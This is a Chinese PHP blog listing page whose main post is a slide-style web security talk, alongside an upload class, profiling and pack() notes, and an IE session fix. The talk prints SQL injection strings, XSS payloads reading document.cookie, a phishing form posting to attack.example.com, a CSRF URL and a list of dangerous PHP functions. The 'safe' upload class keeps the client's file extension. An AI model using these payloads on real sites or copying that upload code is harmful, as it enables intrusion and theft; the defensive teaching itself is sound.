首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
136 阅读
2
php接口优化 使用curl_multi_init批量请求
130 阅读
3
2024年备考系统架构设计师
102 阅读
4
《从菜鸟到大师之路 ElasticSearch 篇》
101 阅读
5
PHP 文件I/O
89 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
785
篇文章
累计收到
5
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
785
篇与
的结果
2023-08-07
php上传类(安全上传类)
php上传类(安全上传类)<?php //php文件上传类 //author: lenix 2014.10.7<!--more--> header("Content-Type:text/html; charset=utf-8"); date_default_timezone_set("Asia/Shanghai"); class UploadFile { private $imageType=["image/gif","image/jpeg","image/jpg","image/png","image/x-png","image/bmp","image/x-ms-bmp","image/pjpeg"];//图片类型 private $fileType=["application/zip","application/msexcel","application/xml","application/vnd.ms-excel","application/vnd.openxmlformats-officedocument.wordprocessingml.document","application/mspowerpoint","application/vnd.ms-powerpoint","application/pdf","application/x-shockwave-flash","application/x-rar-compressed","application/x-rar","audio/mpeg","audio/x-ms-wma","flv-application/octet-stream","audio/x-ms-wmv","video/mp4","video/x-flv","audio/x-wav","application/msword","video/mpeg"];//文件类型 private $tmpName; private $fileName; private $error; private $fileSize;//上传文件大小 private $maxSize=10000000;//最大允许上传大小 private $upName; private $upDir="uploadfile/";//上传目录 //构造函数 默认为图片上传 function __construct($upType="image") { $this->tmpName = $_FILES["file"]["tmp_name"]; $this->fileName = $_FILES["file"]["name"]; $this->error = $_FILES["file"]["error"]; $this->fileSize = $_FILES["file"]["size"]; $this->upName=date('Y') . date('m') . date('d') . uniqid();//生成随机文件名 //判断文件大小 if ($this->fileSize > $this->maxSize) exit ("文件超过".($this->maxSize / 1024 / 1024)." M大小"); if ($this->error > 0) exit($error);//判断上传错误 if ($upType== "image") { $this->checkImage(); }else{ $this->checkFile(); } $this->uploadFile(); } //检测图片类型 function checkImage() { $ftype=getimagesize($this->tmpName); if (!in_array($ftype['mime'],$this->imageType)) { exit("非法图片类型"); } } //检测文件类型 function checkFile() { $finfo = finfo_open(FILEINFO_MIME_TYPE); $ftype= finfo_file($finfo, $this->tmpName);//根据文件内容来判断文件类型 finfo_close($finfo); if (!in_array($ftype,$this->fileType)) { exit("非法文件类型"); } } //获得文件扩展名 function getExtension($fileext) { return pathinfo($fileext, PATHINFO_EXTENSION); } //上传文件 function uploadFile() { if (!is_uploaded_file($this->tmpName)) { exit("非法上传"); } else { move_uploaded_file($this->tmpName, //"upload/" . $_FILES["file"]["name"]); $this->upDir . $this->upName .'.'. $this->getExtension($this->fileName)); echo "上传为: " . $this->upDir . $this->upName .'.'. $this->getExtension($this->fileName); } } } $up=new UploadFile();//上传图片 //$up=new UploadFile("file");//上传文件 ?>
2023年08月07日
8 阅读
0 评论
0 点赞
2023-08-07
PHP 安全优化
PHP 安全优化总则对安全一定要重视!2PHP程序要点安全->稳定->性能->扩展->维护2014-10-17主要内容本ppt内容讲的是关于php网站的主要安全隐患问题。没有100%的安全,只有更好的安全,尽可能的做到最安全。关于一些不太危险的其它各种安全细节,这里没有涉及,但是本ppt介绍的内容如果做好了,就应该可以达到80-90%以上的安全性。不要忘记著名的等强原则:一个系统的的强度是由它最薄弱的环节决定的(注:相当于木桶原理)。2014-10-17PHP安全要点目录不要用windows,要用linux系统。服务器目录权限上传安全SQL注入XSSCSRFMysql权限PHP危险函数密码安全验证码备份防止撞库攻击保持更新敏感词过滤开启防火墙ARP2014-10-171.不要用windows,要用linux系统。• 不管从安全、及性能上都要考虑用Linux系统。• windows系统相对来说,其病毒数量和对权限的设置都要比linux危险得多。2014-10-172.服务器目录权限• 不能列出目录文件,上传目录不能有运行php权限,最好不允许直接访问模板文件.• 不同的站点文件要互不能访问其它站点文件,不同的站点要用不同的用户名。• 防止跨目录访问(即禁止站点程序有访问站点根目录以外的目录的权限)。2014-10-172.服务器目录权限目录权限设置很重要:可以有效防范黑客上传木马文件 .目录权限(一般目录)find /path -type d -exec chmod 555 {} \; //设置目录权限为555可写目录(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)find /path -type d -exec chmod 755 {} \; //设置目录权限为755文件权限(一般文件)find /path -type f -exec chmod 444 {} \; //设置文件权限为444可写文件(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)find /path -type f -exec chmod 644 {} \; //设置文件权限为644设置完成后,再通过命令:chown wwwdata:wwwdata * -R 将目录和文件的所有者改为wwwdata。如有可能:所有可写目录都禁止 php 执行。2014-10-172.服务器目录权限防跨目录访问:1在php.ini中设置 open_basedir 或在文件中 ini_set("open_basedir”,”网站目录”);最好是在apache中进行以下设置2虚拟主机配置样例:ServerAdmin root@uitv.comDocumentRoot /data/wwwroot/wwwServerName www.uitv.comOptions FollowSymLinksAllowOverride Options FileInfoOrder allow,denyAllow from allphp_admin_value open_basedir /data/wwwroot/www/:/var/tmp/DirectoryIndex index.htm index.html index.php如果做以下设置更安全useradd -g www -d /data0/htdocs -s /sbin/nologin www 意思:创建一个www用户根目录在/data0/htdocs 使用shell 是/sbin/nologin(不允许登录)2014-10-172.服务器目录权限防跨目录访问:跨目录(目录穿越)演示:chdir.php解决:http://192.168.8.131/chdir.php?s=12014-10-172.服务器目录权限上传目录禁止执行PHPNginx:location ~ ^/(|upload|data|images|config|static|source)/..(php|php5)${deny all;}Apache:Order allow,denyDeny from all使用nginx + thinkphp记得禁止php和模板文件外部访问权限禁止访问根目录以外的php文件 location ~ ^/.+/..php$ { return 404; }禁止访问模板目录下的html文件 location ~ ^/tpl/default/..html$ { return 404; }2014-10-172.服务器目录权限模板文件保护Apache:Options -Indexes FollowSymLinksAllowOverride AllOrder allow,denyDeny from all2014-10-173.上传安全1.现在几乎所有的开源cms及框架都不是100%安全的。2.不能只对文件扩展名进行判断,而是要对文件(二进制)内容进行判断。3.如果做不好,就可能导致恶意上传木马,窃取源码,数据库,用户信息,删除更改文件甚至完全控制服务器等危险动作。2014-10-173.上传安全php安全上传类源码分析phpcms上传演示php安全上传演示2014-10-174.SQL注入2014-10-174.SQL注入现在很多的开源php系统及框架都不能100%做到防止SQL注入。当然网上的一些教程也绝大部分说的不正确或副作用比较大。SQL注入攻击是一些很常见的攻击,被注入后,可能会恶意删除数据,获取管理员权限,甚至可以提权上传木马及控制服务器,危害是很大的。2014-10-174.SQL注入注入代码示例:SELECT * FROM Users WHERE Username='$username' AND Password='$password'如果$username = 1'or'1'='1$password=1'or'1'='1那么sql语句就变成了SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'通常为通过url访问http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重。2014-10-174.SQL注入防止SQL注入要点1数据库连接代码要设置正确的字符集2对传入的数字值用intval();转换:如intval($_GET['s']);3对所有传入的数据用mysql_real_escape_string();转义4 sql语句所有字段值都要加上单引号,包括数值字段如:$sql = "select * from test where id = '$id'";以上几点一定要组合使用,否则是不起作用的。做好以上几点就可以完全防止SQL注入。2014-10-174.SQL注入另外也可用mysqli或pdo的prepare语句,也能防止sql注入 (这是推荐做法)<?php$mysqli=new mysqli("localhost","root","","testdb");//$stmt=$mysqli->stmt_init();$sql="insert into shops(name,price,num,desc) values(?,?,?,?)";$stmt=$mysqli->prepare($sql);$stmt->bind_param("sdis",$name,$price,$num,$desc);//sdis是四个参数的类型i:intger,d:double,s:string,b:blob$name="Lenix";$price="220";$num="55";$desn="hello world";$stmt->execute();$stmt->close();?>2014-10-174.SQL注入常见字符过滤替换的副作用及误区1过滤关键字 select,union,drop,delete,update,join,and,or等攻击者可用SeLect,或SEselectLECT变形进行注入.2过滤单引号,双引号,有时不但不起作用,还会影响正常输入。3过滤 #,/ /,-- ,这个也同上。2014-10-174.SQL注入MYsql安全连接及查询function connMysql($dbUserName, $dbPassword, $dbDatabase, $dbHost = 'localhost', $dbCharset = 'UTF8'){$link = mysql_connect($dbHost, $dbUserName, $dbPassword) or die(mysql_error());$dbVersion = mysql_get_server_info($link);//设置字符集mysql_set_charset($dbCharset, $link);//mysql_query("SET NAMES gb2312", $link);此方式不推荐;//设置 sql_modeif ($dbVersion > '5.0.1') {mysql_query("SET sql_mode = ''", $link);mysql_query("SET character_set_connection = ".$dbCharset.", character_set_results = ".$dbCharset.", character_set_client =binary", $link);// 防止宽字节注入}mysql_select_db($dbDatabase, $link);return $link;}$link = connMysql('dbuser', 'password', 'test');$s = $_GET['s'];$s = mysql_real_escape_string($s, $link);$sql = "select * from test where id = '$s'";//$sql="select * from test where username='$s'";2014-10-174.SQL注入SQL注入演示sqlzr.php分析2014-10-175.XSS跨站脚本攻击(Cross Site Scripting)为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。假如我们有这样一段PHP的代码:$username = $_GET['username'];echo ' Welcome, ' . $username . '';那么我们可以这样来注入:http://192.168.8.131/xss.php?username=alert('haha'); 用firefox打开测试甚至这样:http://trustedSite.example.com/welcome.php?username=Please Login:<form name=”input”action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username”/><br/>Password: 这会让网页显示以下内容: Welcome, Please Login: Username: Password: 2014-10-175.XSSXSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧? 1⁄4script3⁄4alert(1)1⁄4/script3⁄4 XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用 用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益 于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的 页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: 很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 2014-10-175.XSS XSS演示 获取用户cookie值 http://192.168.8.131/xss.php?username=alert(document.cookie); 经过安全过滤后 http://192.168.8.131/xss.php?username=alert(document.cookie);&s=1 用firefox 2014-10-175.XSS 存储型XSS 攻击代码保存在cookie,session里,查找难度大。 2014-10-175.XSS 防xss: 1严格限制用户的输入。最好不要让用户输入带标签的内容。 2严格过滤用户的输入。如: PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。 3在一些关键功能,完全不能信任cookie,必需要用户输入口 令。如:修改口令,支付,修改电子邮件,查看用户的敏 感信息等等。 4 httponly :防止脚本取得用户cookie setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = true ]]]]]] ) 2014-10-176.CSRF CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者 session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登 录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的 多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的 页面间的cookie又是共享的) 攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于 是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在 网站内执行特定的HTTP链接,从而达到攻击者的目的。 例如:某个购物网站购买商品时,采用 http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么 物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户 链接http://www.shop.com/buy.php?item=watch&num=1000 ,那么如果目标用户不小心访问以后,购买的数量就成了1000个 2014-10-176.CSRF 防范CRSF攻击 1是需要检查http的reference header。 2是不要使用GET方法来改变数据, 3是对于要提交的表单,后台动态生成一个随 机的token,这个token是攻击者很难伪造的。 CSRF 和ddos攻击一样不能 完全 防止 ,需要程 序员细心。 2014-10-177.Mysql权限 PHP系统千万不要用root帐号,要新建普 通帐号,给于最少权限,并且每个数据库 分配一个帐号. mysql 禁止远程连接数据库(单机)或限制 来源ip 2014-10-177.Mysql权限 2014-10-178.PHP危险函数 • disable_functions =exec,passthru,shell_exec,system,proc_open, popen,curl_exec,curl_multi_exec,parse_ini_fil e,show_source等。 2014-10-179.密码安全 • • • • • • • 千万不要明文保存用户密码。 密码一定要复杂。 单纯md5()加密,简单密码可用cmd5.com破解,如果不被破解至少需要4重md5()加密。 一但管理员密码被破解可以干任何事情。 更好的是crypt()函数. php 5.5的最新password_hash函数也可提供安全加密,如果用5.5以上,这是推荐方法。 echo password_hash("itv", PASSWORD_DEFAULT)."\n"; 输出:(每次不同) $2y$10$q8FLghKGgLaWM4Oxi6TShuVTn583Q8H0iLGD2ntN3y1aapmFW2L82 $2y$10$sm9aIGc2ljvXyfHsjq5AQOvpzPt0wVVInIHv0HszWuoYEOJ3XJ6XG 2014-10-1710.验证码 • • 验证码(CAPTCHA)是一种区分用 户是计算机还是人的公共全自动程 序。可以防止:恶意破解密码、刷 票、论坛灌水,有效防止某个黑客 对某一个特定注册用户用特定程序 暴力破解方式进行不断的登陆尝试, 还能防止撞库攻击。 在登录,注册,找回密码,支付等 重要环节一定要使用验证码,而且 一定显示要比较复杂,不容易被破 解。 2014-10-1710.验证码 2014-10-1711.备份 • 定期备份(web,数据库,各种配置文件) 万一网站被黑,数据丢失这是最保险的方法。 2014-10-1712 .防止撞库攻击 • 撞库攻击,就是黑客拿别的网站得到的用 户名和密码到我们网站去试,因为许多用 户都是多个网站共用一套用户名和密码, 所以撞库成功的可能性还是很大的。 • 解决: • 限制单IP登录次数,采取登录错误次数限制。 2014-10-1713.保持更新 • php,mysql,apache,nginx,linux... • 新的版本通常会修复一些安全漏洞及bug, 要及时关注软件的升级消息,对于有安全 漏洞的软件要及时升级。 2014-10-1714.敏感词过滤 • 防止用户发表一些敏感词:比如 法*X*功,色*情,赌*博,博*彩。 这些关键词一旦出现在网站,就可能被服 务器运营商关闭,甚至域名注销备案。 解决方法:对用户输入的内容进行过滤, 要收集全敏感词词典。 2014-10-1715.开启防火墙 • 可以检测和防御攻击,只开启需要开放的 端口。 2014-10-1716.ARP ARP 2014-10-1717.其它 1 开启网站访问日志,开启php日志,mysql日 志等,可以有效追踪发现攻击情况。 2 隐藏php版本,apache,nginx版本等 3其它的一些安全问题,需要要平时多细心, 防患于未然。 2014-10-17Thanks! Q&A 43
2023年08月07日
12 阅读
0 评论
0 点赞
2023-08-07
ubuntu下用xhprof测试php程序性能
ubuntu下用xhprof测试php程序性能XHProf 是facebook开源出来的一个php轻量级的性能分析工具,跟Xdebug类似,但性能开销更低,还可以用在生产环境中,也可以由程序开 关来控制是否进行profile。总体来说是个不错的工具,下面介绍下在ubuntu下的安装及使用过程。安装xhprofsudo apt-get install php5-xhprof为了使用图形方式查看调试结果,还必须安装graphviz这个工具,在ubuntu下你可以直接使用apt-get的方式安装,命令为:sudo apt-get install graphviz配置 php.ini在php.ini里加入如下内容:[xhprof]extension=xhprof.so;; directory used by default implementation of the iXHProfRuns; interface (namely, the XHProfRuns_Default class) for storing; XHProf runs.;;xhprof.output_dir=<directory_for_storing_xhprof_runs>xhprof.output_dir=/var/www/html/xhprof将代码加入到要测试的php当中<?pho// cpu:XHPROF_FLAGS_CPU 内存:XHPROF_FLAGS_MEMORY// 如果两个一起:XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORYxhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);// 要测试的php代码//把在pecl下载的xhprof源代码复制到网站根目录下$xhprof_data = xhprof_disable();//$XHPROF_ROOT = realpath(dirname(__FILE__) .'xhprof');include_once "./xhprof/xhprof_lib/utils/xhprof_lib.php";include_once "./xhprof/xhprof_lib/utils/xhprof_runs.php";$xhprof_runs = new XHProfRuns_Default();$run_id = $xhprof_runs->save_run($xhprof_data, "eagle");//(eagle为命名空间,你可以随意取)echo '统计';点击页面下面的统计:显示以下点击 View Full Callgraph
2023年08月07日
10 阅读
0 评论
0 点赞
2023-08-07
PHP中pack()函数说明和例子
PHP中pack()函数说明和例子pack()函数是一个字符串打包函数,它可以将数据压缩成二进制格式pack()函数是一个字符串打包函数,它可以将数据压缩成二进制格式。函数原型:string pack ( string $format [, mixed $arg1 [, mixed $... ]] )参数说明:format:标识了压缩后的数据类型。arg1, $...:表示要打包的数据。返回值:返回打包后的二进制数据字符串。例子:将字符串打包成二进制数据$str = "Hello World!";echo bin2hex(pack("A*", $str));// 输出:48656c6c6f20576f726c6421?>将整数打包成二进制数据$num = 12345;echo bin2hex(pack("N", $num));// 输出:00003039?>其中,"N"代表以32位无符号网络字节序的方式打包数据。将多个数据打包成二进制数据$map = array("name" => "Tom", "age" => 20, "sex" => "male");echo bin2hex(pack("A N A", $map['name'], $map['age'], $map['sex']));// 输出:546f6d0014006d616c65?>其中,"A*"代表任意长度的字符串。
2023年08月07日
8 阅读
0 评论
0 点赞
2023-08-07
IE下PHP iframe跨域导致session丢失问题的解决方法
IE下PHP iframe跨域导致session丢失问题的解决方法一个登录页面,被别的网站用iframe嵌进去后,死活无法登录(只在IE中存在这种情况)。主要是session无法被保存的问题,下面把个人的解决过程分享个大家今天搞的一个登录页面,被别的网站用iframe嵌进去后,死活无法登录(只在IE中存在这种情况)。 很明显,session无法被保存。但是直接在地址栏打开那个登录页面,一切都正常啊。真是奇怪啊。 在网上搜索了一下。发现这个问题还真有不少人提及到。最后的解决方法是在那个登录页面里加上以下代码: 复制代码代码如下:header('P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL"'); session_start(); 可能这个问题跟我的登录页面是采用javascript的location跳转也有关。但没有深入测试研究。 拓展阅读: 今天在处理腾讯朋友应用的时候,测试给我发来个工单,说应用在IE7 上无法使用.出现登陆超时错误. 第一反应是session丢失了. 于是上网找了下 IE7 iframe session丢失问题.后来找到如下文章,问题解决: 昨天,我在校内上做的时间日记终于上线了。上线第一天有80多个用户安装,但却以外收到不少用户的反馈说应用不可用。我之前都是在firefox上开发的(估计校内工作人员也是用firefox审核的),在使用IE7测试时,却发现首页之外的页面全都无法正常打开。 在网上查找了许多资料,发现在IE7中存在这样的问题:如果页面中存在着一个或多个iframe的子页面,那么在子页面中创建session可能无 法成功,这样session数据就无法和其他页面所共享。在开发校内、51应用时,假设采用iframe方式,很可能会遇到这样的问题。而且这个问题只存 在于IE7浏览器中,我在firefox, IE6和chrome等浏览器中测试均没有问题。 解决方案是:在运行session_start之前,在程序中加上如下一句(以php语言为例),大致是向浏览器声明一下安全级别,这样iframe子页面在创建session时就不会有问题了: header('P3P: CP=”ALL ADM DEV PSAi COM OUR OTRo STP IND ONL”‘); 另外,我还了解到:如果二级域名中包含了下划线,如:your_domain.yourhost.com,在建立和传递session时也可能会出现问题。 一点感想: 1)时隔多年,浏览器兼容性问题仍然没有得到彻底解决,IE浏览器仍然是那么让开发者感到痛苦和折磨。 2)发布应用前,一定要经过严密的浏览器兼容性测试,否则就有可能损失应用的第一批用户。 其他参考文章: 解决iframe中jsessionid无法传递导致session丢失的问题 http://618119.com/archives/2007/12/19/48.html 在实现 ISMP2.1.1 接口的适合需要用到sso,而ISMP里定义的接口是需要在iframe等嵌入页面中调用sso接口,在实际开发中发现session无法正常传递。 重现问题的场景是: 1.先访问a站点:http://192.168.18.2/test.jsp test.jsp的代码为: session--www.jbxue.com sso .jsp里读取传递的ssoinfo,反向调用ISMP认证接口, 生成session,然后放入指定的属性值, session .setAttribute(“ssoUser”,”lizongbo”); 页面再重定向到 http://192.168.18.3/iframe.jsp response.sendRedirect(“/iframe.jsp”); iframe.jsp中读取session中ssoUser的属性值,会发现无法读取。 2.如果先访问了 192.168.18.3的页面,再访问192.168.18.2的页面,此时的iframe嵌入是可以传递已生成好的jsessionid Cookie. 因此解决的办法有: a.在url中加上jsessionid. 例如重定向到 response.sendRedirect(“/iframe.jsp;jsessionid =lizongbo”); 而这种情况下,如果iframe.jsp页面内的其它连接的url没有加上jsessionid, 也无法继续传递session,不过通过在客户端的js来为每个超连接的href属性重写加上jsessionid. b.sso.jsp里设置P3P头信息 例如 P3P: CP=”CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR” 或 P3P:CP=”CAO PSA OUR” java代码为: response.addHeader(“P3P”,”/”CAO PSA OUR/”");
2023年08月07日
16 阅读
0 评论
0 点赞
1
...
127
128
129
...
157